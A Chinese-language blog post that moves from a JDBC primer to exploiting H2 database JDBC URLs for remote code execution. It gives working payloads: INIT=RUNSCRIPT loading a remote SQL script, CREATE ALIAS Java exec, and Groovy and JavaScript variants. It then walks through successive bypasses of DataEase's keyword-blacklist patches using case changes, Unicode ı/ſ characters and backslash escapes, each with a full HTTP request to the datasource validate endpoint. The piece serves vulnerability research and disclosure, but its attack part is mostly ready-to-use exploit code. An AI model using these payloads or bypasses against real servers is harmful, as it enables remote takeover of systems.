JDBC简介
JDBC(Java Database Connectivity)是 Java 语言中访问数据库的标准 API,它允许我们通过统一的方式连接各种数据库(如 MySQL、PostgreSQL、SQLite、Oracle、H2 等),执行 SQL 查询和更新数据。
核心流程是:
- 加载数据库驱动
- 建立数据库连接(
Connection
) - 创建执行语句(
Statement
或PreparedStatement
) - 执行 SQL(
executeQuery
/executeUpdate
) - 处理结果(
ResultSet
) - 关闭资源
比如我本地现在有一个mysql的服务,我们就可以使用JDBC操作我们的数据库,首先去装一个依赖mysql-connector-j-8.3.0.jar,然后我们在本地插入一张 users 表,然后插入两条数据:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class JDBCMySQLExample {
public static void main(String[] args) {
// JDBC连接信息
String url = "jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC";
String username = "root";
String password = "root";
try {
// 加载MySQL JDBC驱动
Class.forName("com.mysql.cj.jdbc.Driver");
// 连接数据库
Connection conn = DriverManager.getConnection(url, username, password);
// 创建 Statement
Statement stmt = conn.createStatement();
// 创建表(如果已存在则先删除)
stmt.executeUpdate("DROP TABLE IF EXISTS users");
stmt.executeUpdate("CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), age INT)");
// 插入数据
stmt.executeUpdate("INSERT INTO users (name, age) VALUES ('Alice', 23)");
stmt.executeUpdate("INSERT INTO users (name, age) VALUES ('Bob', 30)");
// 查询数据
ResultSet rs = stmt.executeQuery("SELECT * FROM users");
while (rs.next()) {
int id = rs.getInt("id");
String name = rs.getString("name");
int age = rs.getInt("age");
System.out.println("User: " + id + " - " + name + " - " + age);
}
// 关闭资源
rs.close();
stmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以在数据库看到我们的执行结果,确实执行成功了:
H2 JDBC RCE
H2 是一个用 Java 编写的轻量级关系型数据库,支持内存(mem:
)和文件(file:
)两种模式,常用于开发、测试或嵌入式应用中。它支持标准 SQL 和 JDBC 接口,可独立运行也可作为库嵌入 Java 应用,具有体积小、启动快、易集成等优点。
存在javac的环境
但对于我们攻击者而言,它最大的优点就是在连接的时候,我们可以通过设置 INIT=RUNSCRIPT
语法让系统加载远程恶意脚本,最终导致服务端执行任意 Java 代码,达到 RCE,比如:
INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'
那么初始化的时候,就会加载并执行指定 URL 返回的 SQL 脚本,而在 H2 数据库中,我们可以使用 CREATE ALIAS
来定义一个 Java 方法,然后通过 CALL
来执行这个方法,格式如下:
CREATE ALIAS EXEC AS $$
void shellexec() throws java.io.IOException {
// Java代码...
}
$$;
CALL EXEC();
比如我们可以写一个弹计算器的脚本,那么连接的时候就会弹计算器:
CREATE ALIAS EXEC AS $$
void shellexec() throws java.io.IOException {
Runtime.getRuntime().exec("calc");
}
$$;
CALL EXEC();
我们在本地用python起一个服务放上这个恶意脚本:
python -m http.server 7777
接着模拟被攻击者来触发这个代码,注意需要安一下依赖(我这里使用的是h2-2.2.224.jar),成功RCE:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
public class H2RCE_normal {
public static void main(String[] args) throws Exception {
// H2 JDBC URL,关键点是 INIT=RUNSCRIPT FROM <http-url>
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql'";
Connection conn = DriverManager.getConnection(url);
}
}
事实上这里也可以不出网的执行,不一定非要外接sql文件,只需要多转义几次即可:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
public class H2RCE {
public static void main(String[] args) throws Exception {
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc.exe')\\;";
Connection conn = DriverManager.getConnection(url, "", "");
}
}
除此之外,x1r0z也提到过在没有javac的 JRE 17 环境下的H2 RCE打法:H2 RCE 在 JRE 17 环境下的利用。
存在Groovy 依赖
如果存在Groovy 依赖,比如我是:groovy-4.0.24.jar和groovy-sql-4.0.24.jar,可以使用 @groovy.transform.ASTTEST
在 AST 中使用 assert 执行命令:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class H2RCE_Groovy {
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}
}
低版本下利用js执行
除此之外还可以使用js执行,不过版本有要求,比如我换成jdk 1.8.0_65才打通:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class H2RCE_JS {
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";
Connection conn = DriverManager.getConnection(JDBC_URL);
}
}
和dataease官方的斗智斗勇
在dataease里就存在一个类似的接口使用了h2 JDBC,因此可以直接RCE,详情可以看到这个dataease的Security,具体而言,就是代码里存在h2的JDBC调用,且参数可控
所以在最初的版本里,只需要使用最原始的poc就能rce:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
不过在2.10.8之后这个洞被修了,我们来看看官方是怎么修的:
修法是获取jdbc的字符串,匹配其中是否存在INIT或者RUNSCRIPT🤔🤔,果然是很标准的开发者视角里的黑名单修复法,那么这样的修复法真的能防御住攻击吗?
v2.10.8的补丁
大小写绕过
打一个断点,可以看到H2读取url的逻辑在readSettingsFromURL:
private void readSettingsFromURL() {
DbSettings var1 = DbSettings.DEFAULT;
int var2 = this.url.indexOf(59);
if (var2 >= 0) {
String var3 = this.url.substring(var2 + 1);
this.url = this.url.substring(0, var2);
String var4 = null;
String[] var5 = StringUtils.arraySplit(var3, ';', false);
String[] var6 = var5;
int var7 = var5.length;
for(int var8 = 0; var8 < var7; ++var8) {
String var9 = var6[var8];
if (!var9.isEmpty()) {
int var10 = var9.indexOf(61);
if (var10 < 0) {
throw this.getFormatException();
}
String var11 = var9.substring(var10 + 1);
String var12 = var9.substring(0, var10);
var12 = StringUtils.toUpperEnglish(var12);
if (!isKnownSetting(var12) && !var1.containsKey(var12)) {
var4 = var12;
} else {
String var13 = this.prop.getProperty(var12);
if (var13 != null && !var13.equals(var11)) {
throw DbException.get(90066, var12);
}
this.prop.setProperty(var12, var11);
}
}
}
if (var4 != null && !Utils.parseBoolean(this.prop.getProperty("IGNORE_UNKNOWN_SETTINGS"), false, false)) {
throw DbException.get(90113, var4);
}
}
}
可以看到代码里有很关键的一步:var12 = StringUtils.toUpperEnglish(var12)
,而这个toUpperEnglish
底层其实就是toUpperCase
:
所以在最后解析url的时候,其实所有参数都被转换成大写了,因此H2的jdbc中的参数其实是大小写不敏感的,那么第一个思路就很自然而然的出现了,那就是转换大小写,现在我们把payload改成:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
先本地试试能不能打通:
能打通,那直接发包:
POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 492
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0luSVQ9clVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9"}
unicode绕过
常看p神文章的师傅应该知道,javascript中存在一个很神奇的大小写转换特性:Fuzz中的javascript大小写特性,简单来说,字符”ı”转大写之后会变成”I”,字符”ſ”转换大写之后会变成”S”,那么java中是否存在类似的特性呢?
我们试试把这两个字符进行转换,果然真的分别变成了”I”和”S”:
package JDBC;
public class upper {
public static void main(String[] args) {
String var1 = "ı";
String var2 = "ſ";
System.out.println(var1.toUpperCase().equals("I"));
System.out.println(var2.toUpperCase().equals("S"));
}
}
这个思路在yulate的议题jdbc trick里其实也提到过:
那么思路二自然就出现了,用拉丁字母对原始的payload进行替换:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;ıNIT=RUNſCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
先本地试试,能打通:
那么发包试试:
POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 496
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO8SxTklUPVJVTsW/Q1JJUFQgRlJPTSAnaHR0cDovLzEyNy4wLjAuMTo1MDAyNS9wb2Muc3FsJyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiOiIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0="}
v2.10.10的补丁
利用\进行绕过
在 v2.10.10 的时候,dataease官方修复了上面我们提到的绕过方法:
StringUtils.containsAnyIgnoreCase
这个方法严格过滤了关键字,我们上面提到的两种绕过方法均失效了:
package JDBC;
import org.apache.commons.lang3.StringUtils;
public class test {
public static void main(String[] args) throws Exception {
// String jdbc = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'";
String jdbc = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;ıNIT=RUNſCRIPT FROM 'http://127.0.0.1:50025/poc.sql'";
if (StringUtils.containsAnyIgnoreCase(jdbc, "INIT", "RUNSCRIPT")) {
System.out.println("wrong");
}else{
System.out.println("bypass");
}
}
}
现在只从大小写入手是绕不过补丁的了,想要bypass还需要继续从底层跟一下h2解析url的逻辑。
再打断点往后跟的时候,我发现了一个有趣的函数:
注意到这里:
else if (var7 == '\\' && var6 < var3 - 1) {
++var6;
var5.append(var0.charAt(var6));
}
这句代码的作用其实是:如果遇到转义符 \
,则跳过 \
并把下一个字符添加进去,例如 \;
会当作普通分号,于是我试了试传入一个in\it
,然后打断点跟了一下:
很有意思,我们的in\it
被解析成了init,那么现在一个自然而然的思路出现了,用\进行转义,现在把payload换成:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\NIT=R\\UNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
本地成功RCE:
发包:
POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 500
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lcXE5JVD1SXFxVTlNDUklQVCBGUk9NICdodHRwOi8vMTI3LjAuMC4xOjUwMDI1L3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}